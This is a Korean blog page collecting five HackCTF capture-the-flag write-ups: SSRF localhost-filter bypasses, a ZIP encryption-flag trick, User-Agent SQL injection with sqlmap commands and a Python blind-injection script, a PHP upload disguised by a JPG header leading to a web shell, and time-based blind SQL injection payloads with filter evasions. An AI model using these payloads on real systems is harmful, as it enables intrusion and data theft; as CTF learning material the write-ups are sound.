'Solve Problem/HackCTF'에 해당되는 글 5건

[HackCTF] LOL

Solve Problem/HackCTF 2019. 11. 20. 15:08
반응형

문제에 접근하면 /flag.php에 접근하는데 "you are not local"이라고 뜬다.


로컬로 접근하면 되는 것인가 하여 X-Forwarded-For로 접근을 해보았지만 가능하지 않았다.



밑에 링크를 클릭하면 다음과 같이 Search user 페이지가 뜨며, 여기서 user에 문자열 입력 후 [제출]을 클릭하면 op.gg 페이지에서 해당 문자열에 대해 유저를 검색한다.


해당 요청을 잘 보면 POST 방식으로 다음과 같이 요청을 보낸다.

query=rootable&url=http%3A%2F%2Fwww.op.gg%2Fsummoner%2FuserName%3D


여기서 url 부분에 op.gg가 있는 것을 보아 다른 페이지에도 접근이 가능한지 google.com을 이용해보았다.

하지만, 이에 필터링에 의해 응답으로 "Nonononononono~"가 출력되었고 이는 간단히 @를 이용하여 우회할 수 있었다.


아래와 같이 요청을 보내 google.com에 접근이 가능함을 확인하였다.

query=/&url=http://www.op.gg@google.com


이제 로컬의 flag.php에 접근하기 위해 로컬 IP로 변조하여 아래와 같이 요청하였다.


query=/flag.php&url=http://www.op.gg@127.0.0.1


하지만 이에 대한 응답으로 Nop이라고 왔고, 127.0.0.1, localhost에 대해 필터링이 되어있음을 알 수 있었다.

이를 우회하기 위해 나는 0.0.0.0을 이용하였다.


flag.php에 접근하기 위한 요청은 다음과 같다.

query=/flag.php&url=http://www.op.gg@0.0.0.0



추가적으로 다음과 같은 쿼리로도 FLAG 획득이 가능하다.


query=/flag.php&url=http://www.op.gg@0

query=/flag.php&url=http://www.op.gg@2130706433 (2130706433은 127.0.0.1을 IP Decimal 형태로 변환한 것)

query=/flag.php&url=http://www.op.gg@0177.0.0.1 ( 0177은 8진법으로 나타낸 127 )


참고 ) 

https://www.ipaddressguide.com/ip

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#bypass-localhost-with-

https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html





반응형

'Solve Problem > HackCTF' 카테고리의 다른 글

[HackCTF] Secret Document  (0) 2018.12.31
[HackCTF] No Password  (0) 2018.12.30
[HackCTF] 가위바위보  (0) 2018.12.28
[HackCTF] Secure Login  (0) 2018.12.02
블로그 이미지

rootable

,
반응형

이번 문제는 SuNiNaTas의 28번 문제를 그대로 가져온 듯 하다.

문제를 풀어보자.



제공해준 zip 파일을 다운받아 열면 flag.txt 파일이 존재하는데 해당 파일을 읽으려하면 암호를 입력하라고 한다.



그래서 fcrackzip을 이용하여 해당 zip 파일의 암호를 해독해보려 했는데 flag.txt가 암호화가 되어있지 않다고 뜬다.


그래서 ZIP 파일의 파일헤더에 대해 찾아보았다. 

- 참고 : https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html



파일 헤더를 보면 0x8 0x9 부분에 Flags 헤더가 존재함을 볼 수 있다.

이 헤더가 의미하는 바는 아래와 같다. 


Flags     General purpose bit flag:

Bit 00: encrypted file

Bit 01: compression option 

Bit 02: compression option 

Bit 03: data descriptor

Bit 04: enhanced deflation

Bit 05: compressed patched data

Bit 06: strong encryption

Bit 07-10: unused

Bit 11: language encoding

Bit 12: reserved

Bit 13: mask header values

Bit 14-15: reserved


그렇다면 문제에서 제공한 zip 파일에서 flag.txt는 어떤 형식으로 되어있는지 보자.



flag.txt의 0x8 0x9에는 각각 09 08이 들어있음을 볼 수 있다.

이는 00001001 00001000으로 리틀엔디안 형식으로 보면 Bit 00에 해당하는 값이 1로 세팅되어 있음을 볼 수 있다.


이를 0으로 세팅해주기 위해 08 08로 변경해준 뒤 저장해준다.


그리고 난 뒤 다시 해당 zip 파일을 열어보면 flag.txt의 잠금이 풀려 Flag를 얻을 수 있다.




반응형

'Solve Problem > HackCTF' 카테고리의 다른 글

[HackCTF] LOL  (2) 2019.11.20
[HackCTF] No Password  (0) 2018.12.30
[HackCTF] 가위바위보  (0) 2018.12.28
[HackCTF] Secure Login  (0) 2018.12.02
블로그 이미지

rootable

,
반응형

해당 문제는 2018 Xmas-CTF를 복구한 문제입니다.


문제에 접근하면 액세스 거부! 라는 글이 보인다.

돌아다녀봐도 사용자로부터 입력을 받는 파라미터나 버튼이 없는 것을 확인하였다.


나는 여기서 [공인된 컴퓨터] 라는 것에서 힌트를 얻었다.

user-agent 부분에서 뭔가 되지 않을까 싶어 SQL Injection을 시도하였고 성공하였다.




위와 같이 User-Agent 부분에 Injection 구문을 넣은 결과 아래와 같이 [환영합니다] 라는 문구가 떴다.



여기부터 2가지 방식으로 진행하였다.


방법1. SqlMap 활용 > Time Based SQL Injection


1) DB 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 --dbs

 - user-agent에 대한 공격을 진행하기 위해서는 level 3으로 지정해주어야 한다.


2) TABLE 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db --tables


3) column Name 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db -T uas --columns


4) 데이터 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db -T uas -C ua --dump



방법 2. Blind SQL Injection


1) 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import urllib2

flag = ""
url = "http://ctf.j0n9hyun.xyz:2029/"
request = urllib2.Request(url)

for chr_l in range(1,41):
    print "[-] find "+ str(chr_l)+"'s letter"
    binary=''

    for bin_l in range(1,8):
        request.add_header('User-Agent',"' or (select substr(lpad(bin(ascii(substr(ua,"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1) from uas)=1 and '1'='1")
        if("color: green;" in urllib2.urlopen(request).read()):
            binary += '1'
        else:
            binary += '0'
        print binary

    flag = flag + ('%x' % int(binary,2)).decode('hex')
    print flag

print flag

cs

2) 결과




반응형

'Solve Problem > HackCTF' 카테고리의 다른 글

[HackCTF] LOL  (2) 2019.11.20
[HackCTF] Secret Document  (0) 2018.12.31
[HackCTF] 가위바위보  (0) 2018.12.28
[HackCTF] Secure Login  (0) 2018.12.02
블로그 이미지

rootable

,
반응형

해당 문제는 2018 Xmas-CTF를 복구한 문제입니다.


문제에 접근하면 가위바위보 게임이 있는데 필요없다 ㅋㅋ

취약한 부분은 바로 우측 상단에 있는 [설정] 페이지이다.



우측 상단의 설정을 누르면 아래와 같은 화면이 나타난다.

파일 선택 부분이 있어 파일업로드 취약점을 이용하는 것인가 싶어 이미지 파일 선택 후 파일 내용을 아래와 같이 변경 후 프로필 사진 변경을 눌렀다.

<?php echo("HELLO") ?>


하지만 이미지 파일이 아니라는 에러가 떴다.

그래서 파일확장자를 변경하는 등의 시도를 진행했지만 성공하지 못하였고 혹시 이미지 파알헤더를 체크하는 것인가 하여 HxD를 이용하여 이미지 파일헤더를 확인하였다.


파일 헤더를 보면 FF D8 FF임을 알 수 있다.

따라서 hello.php에 위에 입력한 구문을 입력 후 앞에 JPG의 파일 헤더를 넣기 위해 111을 삽입 후 HxD를 이용하여 JPG 파일헤더로 변경하여주었다.


그 결과 업로드가 잘 되었고, 업로드된 파일에 접근하여보았더니 파일이름이 현재 설정된 이름으로 된 것을 볼 수 있었다.


이름을 test.php로 변경시켜준 뒤 해당 파일에 접근하면 내가 입력한 echo문이 잘 실행된 것을 볼 수 있다.


이를 이용하여 간단한 웹쉘 코드를 업로드한 뒤 flag값을 찾았다.


반응형

'Solve Problem > HackCTF' 카테고리의 다른 글

[HackCTF] LOL  (2) 2019.11.20
[HackCTF] Secret Document  (0) 2018.12.31
[HackCTF] No Password  (0) 2018.12.30
[HackCTF] Secure Login  (0) 2018.12.02
블로그 이미지

rootable

,
반응형

와.. 삽질하면서 깨달은 점을 적는다..



문제는 이러하다.


싱글쿼터도 되는데 왜 안된다고 생각을 했는지 모르겠지만..


일단 진행한 순서대로 서술해보자.


일단 blind sql injection을 진행해야 할 때 데이터 일치 여부에 따라 화면에 출력되는 부분이 없다면 time based sql Injection을 진행해야 한다.



따라서 id부분에 아래와 같이 작성하였다.

id=' || length(id)>9 %26%26 sleep(2)#&pw=1


= 가 필터링 되어 있어 >를 이용하여 길이를 구해주었고 or과 and가 필터링 되어 있어 ||와 &&를 사용하였다.


그 후 각 id 값을 구할 땐 아래와 같이 진행하여 찾았다.

id=' || right(left(id,1),1)>0x71 %26%26 sleep(2)#&pw=1


그래서 ID를 잘 찾았다!

그 결과는 sup3rADM2N


여기서 삽질을 했던 것이 있는데 hex라는 것을 잊고 49 다음에 50으로 넘어 M과 N을 둘다 50이라고 착각해서 시간을 낭비했다 ㅠㅠ


이건 잠깐의 실수라고 해서 넘어갈 수 있다.. 그런데 나중에 큰 멘붕이 온다..


ID를 찾았겠다! 이제 PW를 찾기 시작했다.

일단 아래의 쿼리를 입력하여 PW의 길이를 찾았다.

id=sup3rADM2N' %26%26 length(pw)>B %26%26 sleep(2)#&pw=1


총 12자인 것을 확인 후 아래와 같은 방식을 이용하여 PW를 찾았다.

id=sup3rADM2N' %26%26 right(left(pw,1,1))>0x4A %26%26 sleep(2)#&pw=1


그래서 결과적으로 pw를 찾았다.

그 결과는 KKKBANGS2R1S 이다.


다 찾았다~ 해서 id에 sup3rADM2N를 넣고 pw에 KKKBANGS2R1S를 넣고 로그인을 시도했는데 응?? 해결이 안된다.


----------------------------------------

나중에 알게 된 사실인데..

문자의 경우 hex 값으로 비교를 진행하면 소문자라도 대문자의 hex값으로 일치한다고 뜬다..


아래의 두 사진을 보자.


아래의 사진은 Name 중 3번째 문자가 'j'로 hex 값으로 0x6A라서 where 절에 넣었을 때 제대로 출력되는 것을 볼 수 있다.


그런데 동일한 문자('j')를 대문자 J의 hex 값인 0x4A로 했을 때도 일치하다고 뜨는 것을 볼 수 있다.


이렇기 때문에 blind sql injection을 진행하면 항상 대문자로 나와 대소문자를 따지는 로그인이 진행되지 않은 것이다.


이를 해결하기 위해 난 아래의 방법을 사용할 것이다.


id=sup3rADM2N' %26%26 cast(hex(right(left(pw,12),1)) as unsigned) > 73 %26%26 sleep(2) & pw=1


위의 쿼리를 이용한 것은 hex 함수로 해당 문자를 hex값으로 출력시킨 뒤 cast 함수를 이용하여 숫자형으로 변경 시켜준 것이다.


그렇게 하면 싱글쿼터를 사용할 필요가 없다.


------------------------------------------------------

** 추가

문자열 비교인 = 혹은 like가 필터링 되어 있다면 in 함수를 사용해주면 된다.


'a'='a'

'a' like 'a'

'a' in ('a')


모두 동일하다고 보면 된다.



반응형

'Solve Problem > HackCTF' 카테고리의 다른 글

[HackCTF] LOL  (2) 2019.11.20
[HackCTF] Secret Document  (0) 2018.12.31
[HackCTF] No Password  (0) 2018.12.30
[HackCTF] 가위바위보  (0) 2018.12.28
블로그 이미지

rootable

,